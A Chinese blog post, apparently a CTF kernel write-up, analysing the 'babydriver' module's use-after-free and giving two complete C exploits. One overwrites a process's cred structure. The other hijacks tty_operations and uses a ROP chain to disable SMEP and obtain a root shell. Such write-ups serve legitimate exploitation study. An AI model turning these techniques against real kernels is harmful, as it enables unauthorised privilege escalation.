BruceFan's Blog

Stay hungry, stay foolish

0%

Linux Kernel UAF

题目概述

这是一道CTF的kernel题,题目不是很难,但是可以学到很多知识,下面会用两种方法对这个题目进行解决:
1.修改进程的cred结构体中权限相关的信息,将权限改为root;
2.通过ROP将cr4中的smep位置反,关闭SMEP机制,然后ret2usr获取root权限。
题目给出了三个文件:rootfs.cpio、bzImage和boot.sh。boot.sh内容如下:

1
2
3
#!/bin/bash

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep

需要用qemu启动,bzImage是kernel映像,rootfs.cpio是根文件的映像。我用的VMware里的Linux虚拟机安装qemu,这里会报一个KVM的错误,需要开启一下虚拟化功能:

如果要调试的话,可以在boot.sh中加入参数-gdb tcp::1234 -S,这样系统启动时会挂起等待gdb连接,gdb中用target remote :1234连接即可。
要向系统中添加文件,就需要解包cpio文件,将文件放到目录中再打包:

1
2
3
4
5
6
7
8
9
10
11
12
$ file rootfs.cpio
rootfs.cpio: gzip compressed data, last modified: Tue Jul 4 08:39:15 2017, max compression, from Unix
$ mv rootfs.cpio rootfs.cpio.gz
$ gunzip rootfs.cpio.gz
$ file rootfs.cpio
rootfs.cpio: ASCII cpio archive (SVR4 with no CRC)
$ cpio -idmv < rootfs.cpio
// 解包完成,可以向目录中添加文件
$ ls
bin etc home init lib linuxrc proc rootfs.cpio sbin sys tmp usr
// 重新打包,不需要压缩也可以
$ find . | cpio -o --format=newc > ../rootfs.cpio

babydriver.ko文件在/lib/modules/目录中,通过查看/proc/modules或lsmod可以看到babydriver.ko已经加载到内核,还能看到其加载地址。用IDA反编译babydriver.ko驱动。
open函数:

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall babyopen(inode *inode, file *filp,__int64 a3, __int64 a4)
{
char *v4; // rax@1
__int64 v5; // rdx@1

__fentry__(inode, filp, a3, a4);
LODWORD(v4) = kmem_cache_alloc_trace(*((_QWORD*)&kmalloc_caches + 6), 0x24000C0LL, 64LL);
babydev_struct.device_buf = v4;
babydev_struct.device_buf_len = 64LL;
printk("device open\n", 0x24000C0LL, v5);
return 0LL;
}

ioctl函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall babyioctl(file *filp, __int64 command, unsigned __int64 arg, __int64 a4)
{
size_t v4; // rdx@1
size_t v5; // rbx@1
char *v6; // rax@2
__int64 v7; // rdx@2
__int64 result; // rax@2

__fentry__(filp, command, arg, a4);
v5 = v4;
if ( (_DWORD)command == 0x10001 ) {
kfree(babydev_struct.device_buf);
LODWORD(v6) = _kmalloc(v5, 0x24000C0LL);
babydev_struct.device_buf = v6;
babydev_struct.device_buf_len = v5;
printk("alloc done\n", 0x24000C0LL, v7);
result = 0LL;
} else {
printk(&default_arg_is_format_str, v4, v4);
result = -22LL;
}
return result;
}

write函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
unsigned __int64 copy_len; // rdx@1
ssize_t result; // rax@2
ssize_t v6; // rbx@3

__fentry__(filp, buffer, length, offset);
if ( babydev_struct.device_buf ) {
result = -2LL;
if ( babydev_struct.device_buf_len > copy_len ) {
v6 = copy_len;
copy_from_user(babydev_struct.device_buf, buffer, copy_len);
result = v6;
}
} else {
result = -1LL;
}
return result;
}

read函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
unsigned __int64 copy_len; // rdx@1
ssize_t result; // rax@2
ssize_t v6; // rbx@3

__fentry__(filp, buffer, length, offset);
if ( babydev_struct.device_buf ) {
result = -2LL;
if ( babydev_struct.device_buf_len > copy_len ) {
v6 = copy_len;
copy_to_user(buffer, babydev_struct.device_buf, copy_len);
result = v6;
}
} else {
result = -1LL;
}
return result;
}

驱动代码并不复杂,有一个babydev_struct全局结构体变量,结构体里有device_bufdevice_buf_len两个成员变量,device_buf在调用open时通过kmem_cache_alloc_trace进行分配,这个函数的效果和kmalloc是一样的。应该是因为编译时编译器进行了优化。
open的时候kmalloc了一个大小为64的内存空间,设置size为64,release的时候释放这个空间。read和write都会先检查buf指针是否为NULL,大小是否满足要求,没有明显的栈溢出或堆溢出。
如果open两次设备文件,第一次open初始化了全局变量baby_struct,第二次open会再次给它赋值,这样会覆盖第一次的buf指针。下面接着release第一次打开的设备,其实释放的是第二次打开设备时分配的内存,而这块内存还可以被baby_struct的buf指针使用,就造成了一个UAF。

修改cred结构体

一个进程的权限是由cred结构体中的uid决定的,每个进程中都有一个cred结构体,并且保存了该进程的权限信息,如果能修改cred信息,就可以进行提权。
通过之前对slub分配器的了解,相同大小的内存块放在一起。于是思路就是:现在有一个UAF,将某个进程的cred结构体放进这个UAF内存空间,然后就可以控制这个cred结构体。
具体操作如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h>

#define CRED_SIZE 168
#define DEV_NAME "/dev/babydev"

char buf[100];

int main()
{
int fd1, fd2, ret;
char zero_buf[100];
memset(zero_buf, 0, sizeof(char) * 100);
fd1 = open(DEV_NAME, O_RDWR);
fd2 = open(DEV_NAME, O_RDWR);
// 首先通过ioctl改变第一次open的内存大小,使其和cred结构体一样大小
ret = ioctl(fd1, 0x10001, CRED_SIZE);
// release第一次open,释放一个cred结构体一样大小的内存
close(fd1);
// fork一个新进程来创建一个cred结构体,这个cred结构体就会用刚刚释放的内存,即UAF内存空间
int now_uid = 1000; // 当前uid为1000
int pid = fork();
if (pid < 0) {
perror("fork error");
return 0;
}

if (pid == 0) { // child process
// 写入28个0,一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了
ret = write(fd2, zero_buf, 28);
now_uid = getuid();
if (!now_uid) {
printf("get root done\n");
// 权限修改完毕,启动一个shell,就是root的shell了
system("/bin/sh");
exit(0);
} else {
puts("failed?");
exit(0);
}
} else {
wait(NULL);
}
close(fd2);
return 0;
}

将上述exploit编译后放到/home/ctf目录中打包cpio,启动qemu:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ gcc -static -o exp1 exp1.c
$ cp exp1 tmp/home/ctf // 之前的rootfs.cpio解压到了tmp文件夹
$ find tmp | cpio -o --format=newc > rootfs.cpio
$ ./boot.sh
...
/ $ cd home/ctf/
~ $ ls
exp1
~ $ ./exp1
[ 16.298785] device open
[ 16.299639] device open
[ 16.300396] alloc done
[ 16.301763] device release
get root done
/home/ctf #

还有一个问题是如何知道cred的大小,一种方法是看源码,这种方法比较慢,还容易出错。另一种方法是编译一个内核模块来查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <linux/init.h>
#include <linux/module.h>
#include <linux/cred.h>

MODULE_LICENSE("Dual BSD/GPL");

static int hello_init(void)
{
printk(KERN_ALERT "sizeof cred: %d", sizeof(struct cred));
return 0;
}

static void hello_exit(void)
{
printk(KERN_ALERT "exit module!");
}

module_init(hello_init);
module_exit(hello_exit);

Makefile:

1
2
3
4
5
6
7
obj-m := cred_size.o
KERNELBUILD := /lib/modules/$(shell uname -r)/build

modules:
make -C $(KERNELBUILD) M=$(CURDIR) modules
clean:
make -C $(KERNELBUILD) M=$(CURDIR) clean

ROP关闭SMEP

想要获得程序控制流并使用ROP就需要借助tty_struct这个结构体,tty是一种设备,通过/dev/ptmx可以打开这个设备。要得到内核控制流,需要修改设备的函数指针,使得对这个设备的操作变成可以控制的。获得控制流后,通过ROP的方法可以将cr4中的smep位关掉,之后就可以ret2usr进行传统的提权操作了。
内核空间ROP在之前的文章中介绍过,需要一个xchg eax, esp的gadget,自己构造一个栈。这里有一个前提知识,在执行ioctl的时候eax正好是要执行的指令的地址,也就是gadget自身的地址。这样我们就可以mmap这个gadget地址,栈就落在了用户空间。虽然不能执行用户空间的代码,但是可以从用户栈上获取数据,执行内核空间代码。
gadget要从内核中找,bzImage是压缩过的vmlinux,通过Linux源码scripts目录下的extract-vmlinux来提取。
下面是完整的exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>

#define TTY_STRUCT_SIZE 0x2e0
#define SPRAY_ALLOC_TIMES 0x100

int spray_fd[0x100];

/* // 将tty_struct放入UAF空间,将第24字节的位置用伪造的tty_operations替换,如147、148行所示
tty_struct:
int magic; // 4
struct kref kref; // 4
struct device *dev; // 8
struct tty_driver *driver; // 8
const struct tty_operations *ops; // 8, offset = 4 + 4 + 8 + 8 = 24
[...]
*/

struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
const struct file_operations *proc_fops;
};

typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);

/* Gadgets */
_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810;
unsigned long native_write_cr4 = 0xFFFFFFFF810635B0; // 写入cr4来关闭smep
unsigned long xchgeaxesp = 0xFFFFFFFF81007808; // 设置栈
unsigned long poprdiret = 0xFFFFFFFF813E7D6F;
//unsigned long iretq = 0xFFFFFFFF8181A797;
unsigned long iretq = 0xffffffff814e35ef;
unsigned long swapgs = 0xFFFFFFFF81063694; // 回到用户空间之前的准备

/* status */
unsigned long user_cs, user_ss, user_rflags;
void save_stats() {
asm(
"movq %%cs, %0\n" // mov rcx, cs
"movq %%ss, %1\n" // mov rdx, ss
"pushfq\n" // 把rflags的值压栈
"popq %2\n" // pop rax
:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory" // mov user_cs, rcx; mov user_ss, rdx; mov user_flags, rax
);
}

void get_shell() {
system("/bin/sh");
}

void get_root() {
commit_creds(prepare_kernel_cred(0));
}

void exploit() {
int i;
char *buf = (char*)malloc(0x1000);
struct tty_operations *fake_tty_operations = (struct tty_operations *)malloc(sizeof(struct tty_operations));

save_stats();

memset(fake_tty_operations, 0, sizeof(struct tty_operations));
fake_tty_operations->ioctl = (unsigned long)xchgeaxesp; // 设置tty的ioctl操作为栈转移指令

int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);

ioctl(fd1, 0x10001, TTY_STRUCT_SIZE);
write(fd2, "hello world", strlen("hello world"));
close(fd1);

// spray tty 这里的堆喷射其实去掉也能成功,因为是释放后紧接着申请的
puts("[+] Spraying buffer with tty_struct");
for (i = 0; i < SPRAY_ALLOC_TIMES; i++) {
spray_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if (spray_fd[i] < 0) {
perror("open tty");
}
}

// 现在有一个tty_struct落在了UAF区域里
puts("[+] Reading buffer content from kernel buffer");
long size = read(fd2, buf, 32);
if (size < 32) {
puts("[-] Reading not complete!");
printf("[-] Only %ld bytes read.\n", size);
}
// 检查喷射是否成功
puts("[+] Detecting buffer content type");
if (buf[0] != 0x01 || buf[1] != 0x54) {
puts("[-] tty_struct spray failed");
printf("[-] We should have 0x01 and 0x54, instead we got %02x %02x\n", buf[0], buf[1]);
puts("[-] Exiting...");
exit(-1);
}
// 设置tty_operations为伪造的操作
puts("[+] Spray complete. Modifying function pointer");
unsigned long *temp = (unsigned long *)&buf[24];
*temp = (unsigned long)fake_tty_operations;

puts("[+] Preparing ROP chain");
unsigned long lower_address = xchgeaxesp & 0xFFFFFFFF;
unsigned long base = lower_address & ~0xfff;
printf("[+] Base address is %lx\n", base);
if (mmap(base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != base) {
perror("mmap");
exit(1);
}

unsigned long rop_chain[] = {
poprdiret,
0x6f0,
native_write_cr4, // cr4 = 0x6f0
(unsigned long)get_root,
swapgs, // swapgs; pop rbp; ret
base, // rbp = base
iretq,
(unsigned long)get_shell,
user_cs,
user_rflags,
base + 0x10000,
user_ss
};
memcpy((void*)lower_address, rop_chain, sizeof(rop_chain));
puts("[+] Writing function pointer to the driver");
long len = write(fd2, buf, 32);
if (len < 0) {
perror("write");
exit(1);
}

puts("[+] Triggering");
for (i = 0;i < SPRAY_ALLOC_TIMES; i++) {
ioctl(spray_fd[i], 0, 0); // FFFFFFFF814D8AED call rax
}
}

int main() {
exploit();
return 0;
}

静态编译后放入文件目录中,运行即可获得root shell!
reference
一道简单内核题入门内核利用
NCSTISC Linux Kernel PWN450 Writeup